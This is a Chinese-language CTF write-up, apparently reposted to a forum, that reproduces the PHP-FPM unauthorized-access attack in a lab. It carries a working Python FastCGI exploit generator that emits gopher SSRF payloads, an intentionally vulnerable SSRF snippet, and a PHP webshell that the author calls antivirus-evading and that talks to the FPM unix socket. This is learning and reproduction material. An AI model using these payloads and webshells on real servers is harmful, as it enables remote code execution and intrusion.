族家 發表於 2020-10-16 01:49:00

PHP-FPM未授权访问漏洞

<p>这是在复现西湖论剑2020的NewUpload时学习到的知识点,觉得很有趣就记录下来了。</p>
<h2 id="0x01-起因">0x01 起因</h2>
<p>参考文章:西湖论剑Web之NewUpload(黑白之道)<br>
划水时间看着师傅的WriteUp时,发现了如下让我不解的操作(我这感人知识面)。本着菜就要多读书的原则,开始了一探究竟。</p>
<p><img src="https://i.loli.net/2020/10/15/zYgvmN15VEUKbQJ.png" alt="" loading="lazy"><br>
<img src="https://i.loli.net/2020/10/15/9TAcWmwXjiQGZpv.png" alt="" loading="lazy"><br>
<img src="https://i.loli.net/2020/10/15/CerUY8XFquJHM1O.png" alt="" loading="lazy"></p>
<h2 id="0x02-深究">0x02 深究</h2>
<p>根据文章中提供的参考链接也了解到了这个操作,是“PHP-FPM未授权访问漏洞”。接下来需要一步步了解什么是PHP-FPM,下面我直接把前辈们文章的介绍搬过来,方面大家看。</p>
<h3 id="web服务器与php之间的连接方式">Web服务器与PHP之间的连接方式</h3>
<h4 id="apache2-module">Apache2-module</h4>
<p>把 php 当做 apache 的一个模块,实际上 php 就相当于 apache 中的一个 dll 或一个 so 文件。</p>
<h4 id="cgi模式">CGI模式</h4>
<p>此时 php 是一个独立的进程比如 php-cgi.exe,web 服务器也是一个独立的进程比如 apache.exe,然后当 Web 服务器监听到 HTTP 请求时,会去调用 php-cgi 进程,他们之间通过 cgi 协议,服务器把请求内容转换成 php-cgi 能读懂的协议数据传递给 cgi 进程,cgi 进程拿到内容就会去解析对应 php 文件,得到的返回结果在返回给 web 服务器,最后 web 服务器返回到客户端,但随着网络技术的发展,CGI 方式的缺点也越来越突出。每次客户端请求都需要建立和销毁进程。因为 HTTP 要生成一个动态页面,系统就必须启动一个新的进程以运行 CGI 程序,不断地 fork 是一项很消耗时间和资源的工作。</p>
<h4 id="fsatcgi模式">FsatCGI模式</h4>
<p>fastcgi 本身还是一个协议,在 cgi 协议上进行了一些优化,众所周知,CGI 进程的反复加载是 CGI 性能低下的主要原因,如果 CGI 解释器保持在内存中 并接受 FastCGI 进程管理器调度,则可以提供良好的性能、伸缩性、Fail-Over 特性等等。</p>
<p>简而言之,CGI 模式是 apache2 接收到请求去调用 CGI 程序,而 fastcgi 模式是 fastcgi 进程自己管理自己的 cgi 进程,而不再是 apache 去主动调用 php-cgi,而 fastcgi 进程又提供了很多辅助功能比如内存管理,垃圾处理,保障了 cgi 的高效性,并且 CGI 此时是常驻在内存中,不会每次请求重新启动。</p>
<h4 id="php-fpm">PHP-FPM</h4>
<p>这个大家肯定都不陌生,在 linux 下装 php 环境的时候,经常会用到 php-fpm,那 php-fpm 是什么?</p>
<p>上面提到,fastcgi 本身是一个协议,那么就需要有一个程序去实现这个协议,php-fpm 就是实现和管理 fastcgi 协议的进程,fastcgi 模式的内存管理等功能,都是由 php-fpm 进程所实现的</p>
<p>下面引用 p 师傅的博客文章:</p>
<blockquote>
<p>Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。<br>
FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。<br>
举个例子,用户访问http://127.0.0.1/index.php?a=1&amp;b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:<br>
<code>{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&amp;b=2', 'REQUEST_URI': '/index.php?a=1&amp;b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }</code><br>
这个数组其实就是 PHP 中$_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。<br>
PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。</p>
</blockquote>
<p>本质上 fastcgi 模式也只是对 cgi 模式做了一个封装,本质上只是从原来 web 服务器去调用 cgi 程序变成了 web 服务器通知 php-fpm 进程并由 php-fpm 进程去调用 php-cgi 程序。</p>
<h4 id="php-fpm未授权漏洞">PHP-FPM未授权漏洞</h4>
<p>PHP-FPM工作时,默认监听9000端口,用于接收Web服务器发送过来的FastCGI协议数据。而当我们能够通过任意方式访问到PHP-FPM的9000端口时,就可以构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。但是由于FPM某版本后配置文件添加了security.limit_extensions选项,用于指定解析文件的后缀,并且默认值为<code>.php</code>,这样让我们无法通过任意文件包含达到代码执行的效果。<br>
<img src="https://i.loli.net/2020/10/15/J39kBf8rM4yI7qs.png" alt="" loading="lazy"></p>
<p>不过问题不大,因为我们可以通过fastcgi协议的PHP_VALUE和PHP_ADMIN_VALUE(PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项)来修改php配置中的绝大多数配置项,但这里不包括disable_functions。</p>
<p>那我们可以通过修改哪些配置项来达到获取更大威胁的目的呢?答案在下面两个配置项:</p>
<blockquote>
<p>auto_prepend_file:用于指定在执行目标PHP文件之前,先包含指定文件。<br>
auto_append_file:用于指定在执行目标PHP文件之后,包含指定文件。</p>
</blockquote>
<p>我们可以通过设置auto_prepend_file=php://input,再从POST传入PHP代码的方式来达到执行任意代码的效果。(php://input是获取POST中的内容,但需要设置allow_url_include = On)<br>
此时的fastcgi协议数据包大概结构如下:</p>
<pre><code class="language-php">{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&amp;b=2',
    'REQUEST_URI': '/index.php?a=1&amp;b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
    'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
</code></pre>
<p>根据上面所讲的内容,参考p牛写好的exp:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75</p>
<h2 id="0x03复现">0x03复现</h2>
<h3 id="tcp模式">TCP模式</h3>
<p>了解完原理就复现一下,我这里用的是CentOS7+宝塔。由于Apache默认是通过模块的方式加载PHP,而Nginx是通过cgi方式,所以我通过宝塔安装Nginx+php7.4。<br>
这里还需要说一点,Nginx与PHP-FPM之间有两种通信方式:</p>
<blockquote>
<p>TCP模式:即是 php-fpm 进程会监听本机上的一个端口(默认 9000),然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析。<br>
Unix Socket模式:unix socket 其实严格意义上应该叫 unix domain socket,它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。</p>
</blockquote>
<p>默认情况下是Unix Socket模式,所以我们还需要修改为TCP模式(我这里是宝塔默认安装的配置文件路径):<br>
PHP-FPM配置:<code>/www/server/php/74/etc/php-fpm.conf</code></p>
<pre><code>
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice


listen = 0.0.0.0:9000   // 修改这里,全接口监听9000
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log
</code></pre>
<p>Nginx配置:<code>/www/server/nginx/conf/enable-php-74.conf</code></p>
<pre><code>location ~ [^/]\.php(/|$)
{
      try_files $uri =404;
      fastcgi_pass 127.0.0.1:9000;    // 修改这里,指定fastcgi在127.0.0.1的9000端口
      fastcgi_index index.php;
      include fastcgi.conf;
      include pathinfo.conf;
}
</code></pre>
<p>修改完成后重启Nginx和PHP,重启PHP后会发现宝塔面板的PHP一直是停止状态,不要慌,其实此时服务器已经开始监听9000,且能正常解析php文件。<br>
<img src="https://i.loli.net/2020/10/15/NJyXcGZCDPpILdA.png" alt="" loading="lazy"><br>
<img src="https://i.loli.net/2020/10/15/pu5t17hsmCjAd9g.png" alt="" loading="lazy"></p>
<p>环境配置好了,但我们还需要指定一个存在的PHP文件,否则fastcgi也无法正常执行下去。但是在实际情况下我们可能不知道站点的绝对路径,不过安装php时会生成一些php文件,这些文件的路径是我们可能能够预料到的。<br>
<img src="https://i.loli.net/2020/10/15/NFDvKmekELWsHq2.png" alt="" loading="lazy"></p>
<p>但是我宝塔安装的环境找不到这些文件,所以我就随便指定一个文件了。<br>
一切准备就绪,就可以用上面给出的p师傅的exp来试试了:<br>
<img src="https://i.loli.net/2020/10/15/UtonyH1FLzMQ4Cj.png" alt="" loading="lazy"></p>
<h3 id="tcp模式-ssrf">TCP模式 SSRF</h3>
<p>在PHP-FPM端口没有对外开放的情况下,我们还可以通过寻找SSRF配合Gopher来进行攻击。<br>
首先我们造个SSRF:</p>
<pre><code class="language-php">&lt;?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?&gt;
</code></pre>
<p>再通过evoA师傅的魔改脚本生成payload:</p>
<pre><code class="language-python">import socket
import base64
import random
import argparse
import sys
from io import BytesIO
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
      return force_bytes(chr(i))
    else:
      return bytes()

def bord(c):
    if isinstance(c, int):
      return c
    else:
      return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
      return s
    else:
      return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
      return s
    if isinstance(s, bytes):
      s = str(s, 'utf-8', 'strict')
    else:
      s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
      self.host = host
      self.port = port
      self.timeout = timeout
      if keepalive:
            self.keepalive = 1
      else:
            self.keepalive = 0
      self.sock = None
      self.requests = dict()

    def __connect(self):
      self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      self.sock.settimeout(self.timeout)
      self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
      # if self.keepalive:
      #   self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
      # else:
      #   self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
      try:
            self.sock.connect((self.host, int(self.port)))
      except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
      return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
      length = len(content)
      buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid &gt;&gt; 8) &amp; 0xFF) \
               + bchr(requestid &amp; 0xFF) \
               + bchr((length &gt;&gt; 8) &amp; 0xFF) \
               + bchr(length &amp; 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
      return buf

    def __encodeNameValueParams(self, name, value):
      nLen = len(name)
      vLen = len(value)
      record = b''
      if nLen &lt; 128:
            record += bchr(nLen)
      else:
            record += bchr((nLen &gt;&gt; 24) | 0x80) \
                      + bchr((nLen &gt;&gt; 16) &amp; 0xFF) \
                      + bchr((nLen &gt;&gt; 8) &amp; 0xFF) \
                      + bchr(nLen &amp; 0xFF)
      if vLen &lt; 128:
            record += bchr(vLen)
      else:
            record += bchr((vLen &gt;&gt; 24) | 0x80) \
                      + bchr((vLen &gt;&gt; 16) &amp; 0xFF) \
                      + bchr((vLen &gt;&gt; 8) &amp; 0xFF) \
                      + bchr(vLen &amp; 0xFF)
      return record + name + value

    def __decodeFastCGIHeader(self, stream):
      header = dict()
      header['version'] = bord(stream)
      header['type'] = bord(stream)
      header['requestId'] = (bord(stream) &lt;&lt; 8) + bord(stream)
      header['contentLength'] = (bord(stream) &lt;&lt; 8) + bord(stream)
      header['paddingLength'] = bord(stream)
      header['reserved'] = bord(stream)
      return header

    def __decodeFastCGIRecord(self, buffer):
      header = buffer.read(int(self.__FCGI_HEADER_SIZE))

      if not header:
            return False
      else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
       # if not self.__connect():
      #    print('connect failure! please check your fasctcgi-server !!')
         #   return

      requestId = random.randint(1, (1 &lt;&lt; 16) - 1)
      self.requests = dict()
      request = b""
      beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
      request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
      paramsRecord = b''
      if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

      if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
      request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

      if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
      request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
      #print base64.b64encode(request)
      return request
      # self.sock.send(request)
      # self.requests['state'] = FastCGIClient.FCGI_STATE_SEND
      # self.requests['response'] = b''
      # return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
      data = b''
      while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

      data = BytesIO(data)
      while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                  or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                  self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                  self.requests['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests
      return self.requests['response']

    def __repr__(self):
      return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
      'GATEWAY_INTERFACE': 'FastCGI/1.0',
      'REQUEST_METHOD': 'POST',
      'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
      'SCRIPT_NAME': uri,
      'QUERY_STRING': '',
      'REQUEST_URI': uri,
      'DOCUMENT_ROOT': documentRoot,
      'SERVER_SOFTWARE': 'php/fcgiclient',
      'REMOTE_ADDR': '127.0.0.1',
      'REMOTE_PORT': '9985',
      'SERVER_ADDR': '127.0.0.1',
      'SERVER_PORT': '80',
      'SERVER_NAME': "localhost",
      'SERVER_PROTOCOL': 'HTTP/1.1',
      'CONTENT_TYPE': 'application/text',
      'CONTENT_LENGTH': "%d" % len(content),
      'PHP_VALUE': 'auto_prepend_file = php://input',
      'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    response = urllib.quote(response)
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
</code></pre>
<p><img src="https://i.loli.net/2020/10/16/eu47posKqwdCcMT.png" alt="" loading="lazy"><br>
将生成的payload进行一次url编码后,开始利用。<br>
<img src="https://i.loli.net/2020/10/16/9JtTGSCdkR3UaYl.png" alt="" loading="lazy"></p>
<h3 id="unix-socket模式">Unix Socket模式</h3>
<p>在Unix Socket模式下是不是就没辙了呢?其实差不多就没辙了,但是非要做的话也是OK的。<br>
首先需要将模式改回Unix Socket模式:<br>
<code>/www/server/nginx/confenable-php-74.conf</code></p>
<pre><code>location ~ [^/]\.php(/|$)
{
      try_files $uri =404;
      fastcgi_pass unix:/tmp/php-cgi-74.sock;
      fastcgi_index index.php;
      include fastcgi.conf;
      include pathinfo.conf;
}
</code></pre>
<p><code>/www/server/php/74/etc/php-fpm.conf</code></p>
<pre><code>
pid = /www/server/php/74/var/run/php-fpm.pid
error_log = /www/server/php/74/var/log/php-fpm.log
log_level = notice


listen = /tmp/php-cgi-74.sock
listen.backlog = 8192
listen.owner = www
listen.group = www
listen.mode = 0666
user = www
group = www
pm = dynamic
pm.status_path = /phpfpm_74_status
pm.max_children = 200
pm.start_servers = 15
pm.min_spare_servers = 15
pm.max_spare_servers = 30
request_terminate_timeout = 100
request_slowlog_timeout = 30
slowlog = var/log/slow.log
</code></pre>
<p>假设场景,能够上传php文件或者执行代码,将下面的EXP上传到服务器:</p>
<pre><code class="language-php">&lt;?php
        $sock=stream_socket_client('unix:///tmp/php-cgi-74.sock');
      fwrite($sock, base64_decode($_GET['cmd']));
        var_dump(fread($sock, 4096));
</code></pre>
<p>将p牛的EXP魔改一下,只输出生成的payload的base64数据:<br>
<code>__connect()</code>写成恒返回真<br>
<img src="https://i.loli.net/2020/10/16/7leRvKd2cViQfDu.png" alt="" loading="lazy"><br>
将payload进行base64编码后输出,并结束程序执行<br>
<img src="https://i.loli.net/2020/10/16/9cvemR5tElh1fLM.png" alt="" loading="lazy"><br>
生成payload:<br>
<img src="https://i.loli.net/2020/10/16/mo7n9xBI2KQeF5d.png" alt="" loading="lazy"></p>
<p><img src="https://i.loli.net/2020/10/16/6bceLmIjdVQBoah.png" alt="" loading="lazy"></p>
<p>这可以作为一个有环境要求的免杀webshell,稳妥妥的免杀。还有一种情况是bypass disable_functions,就如最开始看NewUpload的WriteUp中的操作,通过使用PHP_ADMIN_VALUE设置extension = /tmp/sky.so,将自编译的sky.so当成模块加载,最终达到命令执行的效果。</p>
<p>ps:如文章存在错误,辛苦各位师傅多指点,谢谢~</p>
<h2 id="0x04-参考链接">0x04 参考链接</h2>
<p>PHP 连接方式介绍以及如何攻击 PHP-FPM(evoA)<br>
Fastcgi协议分析 &amp;&amp; PHP-FPM未授权访问漏洞 &amp;&amp; Exp编写(PHITHON)<br>
西湖论剑Web之NewUpload(黑白之道)</p>


</div>
<div id="MySignature" role="contentinfo">
    CTF相关<br><br>
来源:https://www.cnblogs.com/Gcker/p/13824041.html
頁: [1]
查看完整版本: PHP-FPM未授权访问漏洞